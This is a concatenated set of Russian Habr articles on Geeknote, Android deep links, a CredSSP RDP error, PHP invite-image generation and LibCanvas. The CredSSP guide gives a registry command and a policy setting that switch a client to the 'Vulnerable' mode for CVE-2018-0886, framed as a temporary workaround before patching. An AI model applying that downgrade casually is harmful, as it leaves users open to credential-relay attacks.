* статистики по бекапам;
* статистика по нагрузке;
* различная информация с наших сайтов;
* прочая информация, которая так или иначе мониторилась.
Просто шаблон мониторинга изменился — все стало приходить в отдельно выделенные блокноты в Evernote. Нам понравилось, это оказалось очень удобным. Мы решили сделать публичный клиент, для всех. И назвали его Geeknote, думаю понятно почему.
##### Что Geeknote умеет?
Вся функциональность Geeknote [описана в документации](http://www.geeknote.me/documentation/), с примерами использования каждой команды. Но я заострю внимание на особенных вещах, которые мне нравятся.
###### Редактирование в текстовом редакторе
Geeknote позволяет редактировать заметку в обычном консольном текстовом редакторе, который вам нравится — nano, mcedit и т.д.
```
$ geeknote edit --note "Shoplist 22.05.2012" --title "Shoplist 23.05.2012" --content "WRITE"
```
Передаем слово WRITE в качестве атрибута контента и открывается текстовый [редактор по умолчанию](http://www.geeknote.me/documentation/#set-up-the-default-editor).
О редактировании заметок [в документации](http://www.geeknote.me/documentation/#creating-notes).
После редактирования заметки в текстовом редакторе она прогоняется через markdown обработчик и сохраняется в Evernote.
###### Создание заметки — напрямую и из файла
В Geeknote можно создавать заметку напрямую через консоль, или указать в качестве источника файл, который вы хотите загрузить. Файл должен быть текстовый, Geeknote пока работает только с текстовой информацией.
Пример создания просто заметки:
```
$ geeknote create --title "Shopping list 22.04.2012"
--content "Don't forget to buy milk, turkey and chips."
--notebook "Family"
--tags "shop, holiday, important"
```
И из файла:
```
$ geeknote create --title "Web-site queues"
--content /home/website/queues.log
--notebook "Projects"
--tags "queues, logs"
```
###### Вывод --url-only
В Geeknote можно выполнять [поиск](http://www.geeknote.me/documentation/#search-notes-in-evernote) с атрибутом **--url-only**, таким образом в результатах поиска вы увидите ссылки на веб-версию каждой заметки.
```
$ geeknote find --search "Shopping" --url-only
```
###### Интерактивный веб-терминал
Для демонсттрации работы Geeknote на сайте мы разработали [интерактивный веб-терминал](http://www.geeknote.me/try/), который умеет работать с реальными аккаунтами Evernote и с Sandbox, если хотите просто потестировать. Авторизация происходит через oAUTH.
Терминал имеет весь функционал Geeknote, даже редактирование через **edit**. Отключены системные команды, такие как login и settings.
Технически веб-терминал Geeknote работает на web-sockets + Tornado в бекенде и временными сессиями.
###### Сохранение предыдущей сессии поиска
Если вы выполняли поиск, вы можете обращаться к найденным заметкам через их индекс в результатах. Geeknote запоминает последнюю сессию поиска в базе данных. Пример:
```
$ geeknote find "*"
Search request: intitle: *
Total found: 9
1 : 02.07.2012 Go shopping
2 : 02.07.2012 Shopping list 22.04.2012
3 : 01.07.2012 domain.ru log
4 : 01.07.2012 The title
5 : 23.06.2012 Shopping list 25.04.2012
6 : 23.06.2012 Shopping list 22.04.2012
7 : 20.06.2012 Martin_Dzhordzh - Igra_prestolov_Kniga_I
8 : 20.06.2012 2012-06-15-are-you-a-problem-or-a-solution
9 : 20.06.2012 2012-06-13-pedagogical-poem-by-anton-makarenko
$ geeknote show 1
# Или удалить
$ geeknote remove 2
# Или отредактировать в редакторе
$ geeknote edit 3 --content "WRITE"
```
###### Синхронизация директорий
В пакете Geeknote мы добавили приложение **gnsync**, которое предназначено для синхронизации локальных директорий с файлами с блокнотами в Evernote.
Например есть у вас директория, куда каждый день складируются отчеты о состояниях, логи и т.д. Каждый день — новые файлы. Настраиваете по крону через **gnsync** синхронизировать эту директорию с нужным блокнотом в Evernote и все, все новые файлы будут добавляться в качестве новых заметок.
Пример команды **gnsync**:
```
$ gnsync --path /home/project/xmpp/logs/
--mask "*.logs"
--logpath /home/user/logs/xmpp2evernote.log
--notebook "XMPP logs"
```
###### Автокомплит команд
Если вы будете работать с Geeknote вручную, то можете использовать двойное нажатие TAB для автокомплита команд и подсказок.
##### Проект сегодня
Проект участвует в конкурсе [Evernote Devcup](http://devcup.evernote.com/). Судя по голосам и лайкам, а так же фидбеку за неделю, как мы запустились — идея проекта востребована. Если вам понравился Geeknote, пожалуйста, поддержите нас голосом в конкурсе.
Наша [страница на проекте](http://devcup.evernote.com/submissions/8317-geeknote-a-command-line-client-for-evernote). Будем благодарны.
Специально для конкурса было подготовлено видео проекта, кратко рассказывающее о нем, на английском.
Проект будет и дальше развиваться, так как мы используем его для своих нужд, а так же получили фидбек и это радует. Если у вас есть идеи о функциональности, прошу оставить их в комментариях или на странице [Github проекта](https://github.com/VitaliyRodnenko/geeknote).
##### Резюме
Geeknote — консольный клиент для Evernote. Позволяет работать с Evernote из командной строки, открывая тем самым возможности использования Evernote в автоматизации, системном администрировании, программировании bash скриптов и т.д.
* Адрес проекта: [www.geeknote.me](http://www.geeknote.me)
* Документация: [www.geeknote.me/documentation/](http://www.geeknote.me/documentation/)
* Интерактивный терминал: [www.geeknote.me/try/](http://www.geeknote.me/try/)
* Проект на Github: [github.com/VitaliyRodnenko/geeknote](https://github.com/VitaliyRodnenko/geeknote) | https://habr.com/ru/post/147448/ | null | ru | null |
# Deep Dive Into Deep Link. Часть 5. Нюансы: port, mime, path, диспетчеризация, обратная совместимость
Сюда дошли лишь самые стойкие… Для тех кто впервые:
`HTTP/1.1 303 See other`
`Location_1:` <https://habr.com/ru/post/686990/>
`Location_2:` <https://habr.com/ru/post/691220/>
`Location_3:` <https://habr.com/ru/post/693368/>
`Location_4:` <https://habr.com/ru/post/698094/>
Мы уже поняли, что deep link это механизмы для навигации в Android ОС. Его можно использовать как внутри одного приложения, так и между несколькими. Всей этой навигацией заправляет Android ОС через intent resolution. Нам (разработчикам) лишь остается закинуть удочку (настроить intent-filter) и ждать поклевки (наших пользователей :)). На исход этой рыбалки может повлиять Android 8.0, предустановленные вместе с оболочкой приложения, разработчики приложений (из которых открывается ссылка), Android 12.+ (если не настроил App Link) да и мы сами. Как еще можно навредить себе?
Содержание
----------
1. [Нюансы. Ссылки без port](#1)
2. [Нюансы. Mime type](#2)
3. [Нюансы. Ссылки c параметризованным path](#3)
4. [Нюансы. Обработка сложных path на примере Jetpack Navigation](#4)
5. [Диспетчеризация URL](#5)
6. [MyUrlDispatcher](#6)
7. [Обратная совместимость Deep Link](#7)
8. [Резюме](#8)
Нюансы. Ссылки без port
-----------------------
Ранее мы писали, что в `data` теге можно прописать атрибут `port`. Давайте пропишем его манифесте
Пример data тега с явно указанным портом 80Теперь попробуем покликать на ссылки:
Для явно указанного порта 80 deep link отрабатывает только по ссылке с 80 портом. Остальные редиректит в браузер.Теперь удалим port из data тега в intent-filter
Пример data тега без явно указаного портаКак думаете, что получится? В прошлой статье мы разбирали пример, когда приложение начало перехватывать переходы по всем ссылкам (с одинаковыми scheme, host). Это произошло из-за того, что мы не указали path. Посмотрим, не подвела ли нас логика:
При отсутствии явно указанного port через фильтр проходят всевозможные значенияНе подвела!
> *Отсутствие явно указанного port означает, что может быть использовано любое значение.*
>
>
Нюансы. Mime type
-----------------
Теперь разбираемся с mimeType. Допустим, пользователь хочет открыть ссылку с картинкой в мобильном приложении. Для этого явно укажем mimeType в теге data.
Пример data тега с атрибутом mimeTypeКомпилируем, устанавливаем, открываем приложение…
При нажатии на изображение мы попадаем в браузерВидно, что после нажатия на ссылку, система перенаправила нас в браузер, а не в наше приложение. Возможно, это связано с тем, что для intent-filter ссылка это строка. А по строке ней нельзя точно определить mime type.
Для тех, кому все-таки хочется открыть ссылку из примера выше
Можно схитрить и указать путь к изображению в path:
Содержимое data тега без указания mimeTypeНастроенный data тег позволил перехватить переход по ссылке.Нюансы. Ссылки c параметризованным path
---------------------------------------
Мы хотели обработать вполне стандартный кейс: получить идентификатор из ссылки на детальную информацию о сущности (например, из <http://example.com/user/1> достать 1).
Для этого можно настроить intent-filter одним из представленных способов. В этом случае `pathPattern` и `pathPrefix` имеют равносильный эффект.
```
```
```
```
Что мы получили?
Пример работы настроенного pathPattern/pathPrefix для обработки id в URL.* Ссылки с валидными id (<http://example.com/user/1>, http://example.com/user/2…) начали обрабатываться
* Ссылки с невалидным id (<http://example.com/user/>1ab2) начали перехватываться приложением
* Ссылки без id (<http://example.com/user/>) также начали попадать в приложение
Почему так случилось? Атрибут pathPrefix выполняет мэтчинг (как следует из названия) лишь префикса URL. Такой ограниченный функционал не позволяет правильно обработать idшник (динамическую части path). Из-за этого появляются описанные выше проблемы.
C `android:pathPattern` дела обстоят получше. В нем можно использовать `.` и `*`. Работают они точно также, как и в регулярных выражениях. К сожалению, этими двумя символами разработчики Android и ограничились.
Почему pathPattern поддерживает так мало специальных символов?Возможно, это сделано для того, чтобы ускорить intent resolution. Представьте, что у вас 50 приложений и в каждом настроено по 5 intent-filter и вот вы переходите по ссылке… И Android начинает проходиться по 250 intent-filter. А теперь представьте, что в каждом написан pathPattern с такой здоровенной регуляркой… Поиск может затянуться…
Но даже с `.` и `*` можно обыграть некоторые сценарии:
* URL с фиксированным количеством символов. Например, `pathPattern=”/user/..”` обраработает <http://example.com/user/11> (положительно), <http://example.com/user/1> (отрицательно), http://example.com/user/11а (отрицательно), <http://example.com/user/1a> (ложноположительно)
* URL изменяющейся частью в середине path. Например, `pathPattern=”/user/.*/books”` обработает <http://example.com/user/11/books> (положительно), http://example.com/user/blabla/books (ложноположительно), [http://example.com/user/books](http://example.com/user//books) (отрицательно)
Нюансы. Обработка сложных path на примере Jetpack Navigation
------------------------------------------------------------
Неужели ситуация настолько безнадежна? Неужели нет библиотеки, которая сможет все это красиво обработать? Есть! [Jetpack Navigation Component](https://developer.android.com/guide/navigation/navigation-deep-link#handle) может обработать типизированные аргументы в path и query параметры!
Пример обработки типизированной части в URL. Это глава не называлась бы “нюансы” если бы все вот так просто закончилось :) Давайте откроем смердженный манифест:
Merged Manifest из примера выше.Кто-нибудь видит типизированные аргумент? :) Мы нет. К сожалению, чуда не случилось. В intent-filter были проставлены старые-добрые data теги со стандартными атрибутами.
Тогда как Navigation Component их обрабатывает? Дело в том, что обработка URL (или его диспетчеризация) проводится в 2 этапа.
Диспетчеризация URL
-------------------
На первом (внешнем) уровне операционная система выполняет фильтрацию согласно настройкам из intent-filter приложений. Именно здесь происходит intent-resolution. И именно для этого мы настраивали intent-filter в своих приложениях.
Диспетчеризация URL на уровне Android ОС (внешняя).Далее URL передается в выбранное на внешнем уровне приложение-обработчик. И именно в приложении начинается внутренняя диспетчеризация. Тут мы решаем что делать: открыть экран, залогировать intent и прочее.
Диспетчеризация URL на уровне приложения (внутренняя).URL dispatcher на уровне Android ОС не может быть изменен разработчиком приложения (если вы не разработчик Android :)). Поэтому здесь приходится довольствоваться тем, что есть. Что касается внутреннего URL dispatcher, то здесь есть пространство для маневров:
* Использовать Jetpack Navigation Component. Весь тот крутой функционал с типизацией и прочим работает именно на уровне приложения, а не ОС
* Использовать [DeepLinkDispatch](https://github.com/airbnb/DeepLinkDispatch) от airbnb
* Использовать другие библиотеки…
* Написать собственный диспетчер
О чем нужно помнить при внутренней диспетчеризации?
* Он должен правильно обрабатывать нужны URLы
* Должен иметь обработчик для внештатных ситуаций: для отображения экрана с пояснением, например
* Также было бы хорошо иметь как можно больше обработчиков для ссылок на разный контент в приложении
MyUrlDispatcher
---------------
Мы решили попробовать самостоятельно обработать deep link. Начали с внешней диспетчеризации:
Пример настроенных data тегов для того, чтобы наше приложение было видно внешнему URL dispatcher.Мы настроили intent-filter, указали все схемы (1), домены (2). Установили нужны path с учетом слешей (3). Внешняя диспетчеризация настроена!
Теперь ко внутренней. Для начала надо перехватить исходный intent. Перехватили интенты в методах (4) onCreate, [onNewIntent](https://developer.android.com/reference/android/app/Activity#onNewIntent(android.content.Intent)):
Предопределили колбеки, через которые Intentы могут попасть в приложение.Сначала в `catchAndWrapIntent` мы выполняем классификацию (5) intent по информации из него (category, action, data…). Именно здесь у нас появляется возможность использовать всю мощь регулярных выражений, которой нам так не хватало в pathPattern! Каждому классу intent соответствует специальная обертка (6)
Пример классификации intent при помощи регулярных выражений и их оборачивание. Обратите внимание на звездочку: если intent не соответствует ни одному из классов, то оборачивается в специальный UnknownIntentWrapper для последующей обработки.Осталось выполнить обработку. Каждому классу-оболочке соответствует действие. В большинстве случаев это навигация на какой-нибудь экран (7). Обратите внимание на (8). Intent оболочки были специально сделаны для того, чтобы упростить извлечение полезных данных из intent.
По intent оболочке определяем следующие действия. При необходимости достаем из исходного intent полезные данные.Вот такая диспетчеризация получилась!
Обратная совместимость Deep Link
--------------------------------
Еще одно важное замечание. Если пользователи в одной из версий приложения получили возможность перехода по deep link, то эту возможность необходимо поддерживать в следующих обновлениях.
Очень важно следить за изменением intent-filter, а именно, **scheme, host, path, port, mimeType**. Простой пример:
Изменение path c /about на /docs в новой версии приложения./about больше не может быть открыта в приложении. А теперь представьте, если это была ссылка на какие-нибудь платежи…
> *Изменения значений scheme, host, path, port, mimeType могут привести к потере обратной совместимости с уже используемыми deep link.*
>
>
Как можно избежать проблем с обратной совместимостью deep link?
* Дважды подумать при изменении data. Оно вам действительно надо?
* При появлении новых ссылок, можно разрулить их обработку не на уровне ОС, а на уровне приложения.
* Создать специальный UI для deep link, которые больше не поддерживаются, где объяснить пользователю ситуацию и порекомендовать пути решения.
* Посмотреть в сторону Persistent URL, как одно из способов контроля изменений в существующих URL.
Резюме
------
Давайте подведем итоги всего цикла статей.
Метафора связи между deep link, web link, app link.Deep link — это база. Все остальные виды ссылок наследуют ее недостатки и преимущества. Web Link пытается отобрать трафик у web. App Link ориентирован на UX.
> *Основная задача Deep Link — это навигация.*
>
>
Для того, чтобы эффективно выполнить эту задачу необходимо помнить, что пользователю нет никакого дела до того, что написано в URL. Он видит ключевые слова и ему этого достаточно для перехода по ссылке. Поэтому учитывайте все схемы, все домены, все порты. Старайтесь максимально покрывать pathы, обязательно учитывая комбинации со слешами
> *Чем больше действий нужно сделать, тем меньше людей это сделает.*
>
>
Большое количество кликов сужает воронку и снижает конверсию. Чтобы сократить количество кликов при переходе по Deep Link, рекомендуем обратить внимание на App Link.
> *На Android 12.0 web трафик (http, https) нельзя перехватить приложением с настроенными Deep Link. App Link способен обойти это ограничение.*
>
>
Тут все понятно. Следим за развитием технологий и не забываем адаптироваться.
Зависимость и влияние четырех факторов на обработку deep link.На обработку deep link **не влияет**:
* Аппаратная часть. В устройстве нет специального чипа, который выполняет обработку deep link. Deep link реализован на уровне ПО.
* Версия Android OS. С учетом примечания к Android 8.0. Напоминаем, там нужно было выбрать сначала браузер, а потом уже наше приложение.
* Оболочка ОС. Если мы считаем, что оболочка — это, в том числе, и приложения, которые в ней предустановлены, то оболочка влияет на работу Deep Link. Но все-таки по итогу она влияет ЧЕРЕЗ ПРИЛОЖЕНИЯ.
На обработку deep link **влияет**:
* Приложение, из которого открывается ссылка! Поэтому
> *Было бы хорошо знать, где и на чем будут распространятся ваши ссылки (приложение, оболочка, версия ОС). Эти знания помогут приоритизировать тестирование.*
>
>
Способы обработки schemeСуществуют разные способы обработки схем и URL:
* Linkify — специализированный API для решения этой задачи;
* HTML удобен, когда в приложении есть размеченные с его помощью данные;
* Span может быть использован при наличии прочих элементов этой разметки.
Сравнение URI форматов исходной спецификации и AndroidURI формат deep link в Android имеет свои особенности, некоторых атрибутов в нем нет в явном виде (по крайнер мере они не доступны для настройки в intent-filter). scheme, host обязательные. port и path опциональные (при их отсутствии может быть использовано любое значение).
> *Не существуют удобного и гибкого инструмента для фильтрации сложных path на уровне ОС.*
>
>
Поэтому пытаемся выжимать максимум из pathPrefix и pathPattern. И помним, что дальше придется обрабатывать неудобные URL.
Диспетчеризация deep link URLЭту неудобную обработку придется выполнит в URL dispatcher на уровне вашего приложения. Можете использовать существующие решения или создать свое. Главное помнить, что диспетчер должен уметь обрабатывать правильные URL, вести себя предсказуемо с кривыми URL и по возможности покрыть как можно больше видов URL.
> *Иногда (очень редко:)) web удобнее mobile. Не нужно пренебрегать пользователем в пользу повышения трафика.*
>
>
Поздравляем! Цикл статей подошел к концу. Благодарим, что были с нами. Особенно тех, кто прочитал все 5 статей. Поделитесь этим материалом с друзьями и коллегами. И до новых встреч!
##### Валера Петров
Android-разработчик. @valeryvpetrov
##### Ангелина Евсикова
Android-разработчица Технократии. @Angelina\_dev
---
Также подписывайтесь на наш телеграм-канал[«Голос Технократии»](https://t.me/technokratos). Каждое утро мы публикуем новостной дайджест из мира ИТ, а по вечерам делимся интересными и полезными мастридами. | https://habr.com/ru/post/701148/ | null | ru | null |
# CredSSP encryption oracle remediation – ошибка при подключении по RDP к виртуальному серверу (VPS / VDS)
Начиная с 8 мая 2018 года, после установки обновлений на свой персональный компьютер, многие пользователи [виртуальных серверов](https://vps.house) под управлением ОС Windows Server столкнулись с ошибкой «[CredSSP encryption oracle remediation](https://vps.house/help/credSSP_encryption_oracle_remediation)» при попытке подключения к удалённому рабочему столу:
На самом деле это не ошибка, а уведомление о проблеме безопасности давно необновлённого сервера.
13 марта 2018 года вышла [информация об уязвимости в протоколе CredSSP](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0886) и первые патчи для ее закрытия в серверных операционных системах. Эта уязвимость позволяет в обход проверки выполнять на самом сервере от имени передаваемых учётных записей различные команды, включая установку и удаление произвольного программного обеспечения, изменение и удаление данных на сервере, создание учётных записей с произвольными правами.
С этой проблемой не столкнулись те, кто своевременно устанавливал накопительные обновления на свой сервер. В марте они вышли для серверных операционных систем, для десктопных ОС они автоматически установились с прочими обновлениями в мае.
Для решения проблемы первым делом нужно к нему все-таки подключиться. Проще всего это сделать через авариный режим работы с сервером в вашем личном кабинете – такое есть почти у кажого провайдера VPS / [VDS](https://vps.house) серверов. На [**VPS.house**](https://vps.house/) это делается простым кликом на скриншот экрана сервера в личном кабинете:
Или же вы можете на время просто отключить на компьютере, с которого пытаетесь подключаться, данное блокирующее уведомление о проблеме безопасности:
**Инструкция для тех, кто пользуется редакцией Windows HOME:****[развернуть]****1.** Запустите на вашем компьютере (том, с которого хотите подключиться к серверу) **командную строку от имени администратора**
**2.** Наберите следующий текст в командной строке (можно скопировать и вставить):
> `REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2`
Эта команда вносит изменения в реестр Windows, разрешая вашему компьютеру подключаться с протоколом шифрования CredSSP к ещё необновлённому серверу.
Если в результате выполнения вы получили ошибку «Отказано в доступе», значит вы запустили командную строку НЕ от имени администратора (см. на скриншоте выше как запускается командная строка корректно).
**Инструкция для тех, кто пользуется редакцией Windows PRO:****[развернуть]****1.** Откройте редактор групповых политик, для этого в командной строке или в PowerShell наберите «**gpedit.msc**» или найдите его через поиск на вашем ПК по фразе «**Edit group policy**» или «**Изменение групповой политики**» если вы работаете в русскоязычном интерфейсе.
Если после выполнения этой команды вы получили ошибку о том, что команда не найдена или не является внутренней или внешней командой, значит у вас Windows не версии PRO, а скорее всего HOME и вам нужно смотреть инструкцию выше.
**2.** В папках настроек дерева слева вам необходимо открыть:
> `Computer Configuration -> Administrative Templates -> System -> Credentials Delegation`
если ваша ОС русифицирована, то:
> `Конфигурация компьютера -> Административные шаблоны -> Система -> Передача учетных данных`
**3.** В папке «**Credentials Delegation**» («Передача учетных данных») найдите параметр «**Encryption Oracle Remediation**» («Исправление уязвимости шифрующего оракула»), откройте его, включите его использование, выбрав «**Enabled**» («Включено») и установите значение параметра в выпадающем списке на «**Vulnerable**» («Оставить уязвимость»)
После выполнения этих действий на вашем ПК, вы сможете подключаться к серверу также, как и раньше, **но это не решение проблемы безопасности**.
Как только вы подключились к серверу, **установите обновления** как это делается в любой десктопной версии Windows.
Если при попытке установки возникает ошибка, поверьте запущена ли служба «**Windows Update**» («Центр обновления Windows»). Открыть список служб можно по пути:
> `Start -> Windows Administrative Tools -> Services`
если ваша ОС русифицирована, то:
> `Пуск -> Средства администрирования Windows -> Службы`
Если служба не запускается, проверьте, разрешен ли ее запуск: статус **не должен** быть «**Disabled**» («Отключена»).
Если вы используете **Windows Server 2012 R2** или **Windows Server 2008 R2 SP1**, то вы можете установить не все обновления, а только одно, исправляющее эту уязвимость и тем самым значительно быстрее решить проблему подключения к серверу.
Скачать его можно прямо с сайта Microsoft на [странице описания уязвимости](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0886):
• обновление для [Windows Server 2012 R2](http://download.windowsupdate.com/c/msdownload/update/software/secu/2018/04/windows8.1-kb4103715-x64_43bebfcb5be43876fb6a13a4eb840174ecb1790c.msu)
• обновление для [Windows Server 2008 R2 SP1](http://download.windowsupdate.com/c/msdownload/update/software/secu/2018/04/windows6.1-kb4103712-x64_44bc3455369066d70f52da47c30ca765f511cf68.msu)
Если, прочитав всё описанное выше, вам так и не удалось понять, что нужно сделать или если ничего не получилось, вы всегда можете пересоздать сервер в личном кабинете – эта функция также есть у любого провайдера облачных услуг. Она существует для получения сервера чистого, как будто вы только что его заказали, он будет пустым, **все ваши данных будут потеряны**! Прибегаете к ней только в крайней необходимости и в случае если на вашем сервере не хранится и не работает ничего важного или требующего долгой последующей настройки.
Все образы операционных систем Windows Server на [**VPS.house**](https://vps.house/) по умолчанию содержат все последние обновления и после пересоздания сервера проблем с ошибкой «CredSSP encryption oracle remediation» при подключении к нему уже не будет. | https://habr.com/ru/post/358190/ | null | ru | null |
# Генерация приглашений, похожих на инвайты сайта habrahabr
Скрипт генерирует приглашения для регистрации на сайте в виде картинки 51x51 пикселей формата PNG, написан на PHP, в качестве базы данных использует MySQL. Сделан ради интереса, будет интересен только новичкам.
С помощью библиотеки [GD](http://www.boutell.com/gd/ "GD") можно без проблем создавать и редактировать изображения различных форматов. Для создания изображений нам понадобиться несколько функций:
> `int imagecolorallocate(resource image, int red, int green, int blue)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
и
> `int imagecolorallocatealpha(resource image, int red, int green, int blue, int alpha)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
обе функции возвращают идентификатор цвета для изображения. Единственное отличие в параметре alpha, который задаёт прозрачность изображения. Но так как с PNG прозрачностью в IE издревле были проблемы, то лучше использовать первую функцию. Первый аргумент *image* можно получить при помощи функции:
> `resource imagecreate(int x, int y)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
она возвращает идентификатор изображения, представляющий пустое палитровое изображение размером x на y.
Для начала необходимо создать таблицу в базе данных:
> `CREATE TABLE IF NOT EXISTS `di\_invite` (
>
> `invite\_id` int(15) unsigned NOT NULL AUTO\_INCREMENT,
>
> `invite\_hash` varchar(32) COLLATE utf8\_unicode\_ci DEFAULT NULL,
>
> `invite\_serialize` text COLLATE utf8\_unicode\_ci,
>
> `invite\_username\_owner` varchar(25) COLLATE utf8\_unicode\_ci DEFAULT NULL,
>
> `invite\_username\_recipient` varchar(25) COLLATE utf8\_unicode\_ci DEFAULT NULL,
>
> PRIMARY KEY (`invite\_id`)
>
> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8\_unicode\_ci AUTO\_INCREMENT=1 ;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В БД будет храниться уникальный идентификатор каждого приглашения(invite\_id), hash приглашения(invite\_hash), массив с четырьмя RGB-компонентами, в байтово-поточном представление(invite\_serialize), никнейм владельца приглашения(invite\_username\_owner) и никнейм пользователя, активировавшего его(invite\_username\_recipient).
Теперь необходимо сформировать массив 3x4, со значениями красного, зелёного и синего компонентов для каждого из четырёх цветов и записать его в БД.
> `1. function add\_invite() {
> 2. // Создаёт четыре случайных цвета и записывает их в массив
> 3. $rgb\_array = Array();
> 4. for ($idx=0; $idx < 4; ++$idx) {
> 5. $rgb = array();
> 6. for($idx2 = 0; $idx2 < 3; ++ $idx2) $rgb[] = mt\_rand(0, 255);
> 7. $rgb\_array[] = $rgb;
> 8. }
> 9. // Преобоазует массив в байтово-поточное представление для записи в БД
> 10. $serialize = serialize($rgb\_array);
> 11. // Хэш инвайта
> 12. $hash = md5($serialize);
> 13. // Вставляет
> 14. $\_CORE['db']->query('INSERT INTO `di\_invite` (`invite\_hash`, `invite\_serialize`, `invite\_username\_owner`) VALUES (?, ?, ?);', $hash, $serialize, $\_CORE['user']->user\_info['user\_name']);
> 15. if ($\_CORE['db']->affected\_rows() == 1) return array(true, 'Инвайт "'.$hash.'" создан');
> 16. else return array(false, 'ERROR - ошибка базы данных');
> 17. return true;
> 18. }
> \* This source code was highlighted with Source Code Highlighter.`
Надо подумать над тем, как это приглашение отдать пользователю. Конечно, легче всего это можно сделать представив его в виде картинки. При генерации изображения надо учесть, что вместо активированного инвайта стоит отдавать чёрно белую картинку, иначе же полноценный четырёхцветный инвайт.
> `1. if (isset($\_GET['hash']{31})) {
> 2. // ищет в БД инвайт с таким хэшем
> 3. $result = $\_CORE['db']->query('SELECT `di\_invite`.`invite\_serialize`, `di\_invite`.`invite\_username\_recipient` FROM `di\_invite` WHERE `di\_invite`.`invite\_hash` = ?;', $hash);
> 4. // если нашли
> 5. if ($result && $\_CORE['db']->num\_rows() == 1) {
> 6. // если инвайт уже использовали, то отдаём чёрно белую картинку
> 7. if ($\_CORE['db']->result($result, 0, 'invite\_username\_recipient') != '') {
> 8. // отдаёи браузеру информацию, о том что это картинка
> 9. header('Content-type: image/png');
> 10. // создаём квадратик 51px на 51px
> 11. $im = ImageCreate(51, 51) or die('Ошибка при создании изображения');
> 12. // выделяет два цвета серый и белый, причём белый будет использован в качестве фона для изображения
> 13. $color[1] = imagecolorallocate($im, 255, 255, 255);
> 14. $color[2] = imagecolorallocate($im, 200, 200, 200);
> 15. // рисует два серых прямоугольника по диагонали
> 16. ImageFilledRectangle($im, 26, 0, 50, 25, $color[2]);
> 17. ImageFilledRectangle($im, 0, 25, 25, 50, $color[2]);
> 18. // Выводит изображение в браузер
> 19. ImagePng($im);
> 20. // Разрушает его
> 21. imagedestroy($im);
> 22. // иначе, если инвайт ещё не использован
> 23. } else {
> 24. // востанавливает массив
> 25. $rgb\_array = unserialize(mysql\_result($result, 0, 'invite\_serialize'));
> 26. header('Content-type: image/png');
> 27. $im = ImageCreate(51, 51) or die('Ошибка при создании изображения');
> 28. // выделяет 4 цвета, из значений массива
> 29. for ($i=0; $i < 4; ++$i)
> 30. $color[$i] = imagecolorallocate($im, $rgb\_array[$i][0], $rgb\_array[$i][1], $rgb\_array[$i][2]);
> 31. // рисует три прямоугольника, чётвёртый (т.е. нулевой элемент массива) цвет по умолчанию являеться фоном изображения
> 32. ImageFilledRectangle($im, 0, 0, 25, 25, $color[1]);
> 33. ImageFilledRectangle($im, 26, 0, 50, 25, $color[2]);
> 34. ImageFilledRectangle($im, 0, 25, 25, 50, $color[3]);
> 35. ImagePng($im);
> 36. imagedestroy($im);
> 37. }
> 38. } else {
> 39. exit();
> 40. }
> 41. } else {
> 42. exit();
> 43. }
> \* This source code was highlighted with Source Code Highlighter.`
Осталось дело за малым, а именно проверить на валидность приглашение. Чтобы это сделать достаточно считать в массив значение цвета в четырёх углах картинки, и попытаться найти хэш получившегося массива в БД.
> `1. function validate\_invite($hash\_serialize, $userfile) {
> 2. // если при загрузке изображения не было ошибок, размер изображения не превышает допустимый и тип стоответсвует нужному
> 3. if (isset($userfile) && is\_uploaded\_file($userfile['tmp\_name']) && $userfile['size'] < 5\*1024 && $userfile['type'] == 'image/png' && $userfile['error'] == 0) {
> 4. // создаём изображение на основе загруженного
> 5. $source = ImageCreateFromPNG($userfile['tmp\_name']);
> 6. // определяем точки в которых будет проверяться цвет
> 7. $x[] = 48; $y[] = 48; $x[] = 2; $y[] = 2; $x[] = 48; $y[] = 2; $x[] = 2; $y[] = 48;
> 8. $rgb\_array = Array();
> 9. for ($i = 0; $i < 4; ++$i) {
> 10. // получает индекс цвета в точке
> 11. $color\_index = imagecolorat($source, $x[$i], $y[$i]);
> 12. // получает цвет для индекса
> 13. $color\_tran = imagecolorsforindex($source, $color\_index);
> 14. // записываеться в массив
> 15. $rgb = Array();
> 16. $rgb[] = $color\_tran['red'];
> 17. $rgb[] = $color\_tran['green'];
> 18. $rgb[] = $color\_tran['blue'];
> 19. $rgb\_array[] = $rgb;
> 20. }
> 21. // преобоазует массив в байтово-поточное представление для сопоставления с записью в массиве
> 22. $serialize\_rgb\_array = serialize($rgb\_array);
> 23. // получает хэш
> 24. $hash\_serialize\_rgb\_array = md5($serialize\_rgb\_array);
> 25. // ищет запись в бд
> 26. $\_CORE['db']->query('SELECT `di\_invite`.`invite\_id` FROM `di\_invite` WHERE `di\_invite`.`invite\_hash` = ?;', $hash\_serialize\_rgb\_array);
> 27. // если найдено, очищает память, и возвращает true, иначе очищает память и возвращает false
> 28. if ($\_CORE['db']->num\_rows() < 1) {
> 29. imagedestroy($source);
> 30. return false;
> 31. } else {
> 32. imagedestroy($source);
> 33. $hash\_serialize = $hash\_serialize\_rgb\_array;
> 34. return true;
> 35. }
> 36. } else return false;
> 37. }
> \* This source code was highlighted with Source Code Highlighter.`
Получится, что то похожее на:
P.S. При построение изображения допущена одна неточность, благодаря которой изображения получаются не симметричными. | https://habr.com/ru/post/121921/ | null | ru | null |
# Основы LibCanvas — практика
Это продолжение [статьи про основы LibCanvas](http://habrahabr.ru/blogs/canvas/121046/). Если первая часть затрагивала теоретические засады, то в этой части мы перейдём к практике и постараемся реализовать совсем базовые и простые вещи. Цель статьи — осилить самые основы LibCanvas, мы напишем очень простые скрипты, малопригодные для использования в реальной жизни, но вы их можете развить во что-то великое.
HTML
----
Структура html-файла очень простая:
```
```
Необходимо подключить последние [AtomJS](https://github.com/theshock/atomjs) и [LibCanvas](https://github.com/theshock/libcanvas). Новичкам лучше использовать `*-full-compiled` версии с репозитория.
Далее мы будем рассматривать содержимое `application.js`
Простая отрисовка в холст
-------------------------
Мы всё так же можем отрисовывать в холст при помощи контекста. Необходимо дождаться полной загрузки DOM, получить элемент canvas, его контекст и отрисовать две фигуры. Я сразу же глобализовал всё содержимое LibCanvas. В дальнейшем, когда я буду показывать примеры — будет подразумеваться только содержимое onready-функции.
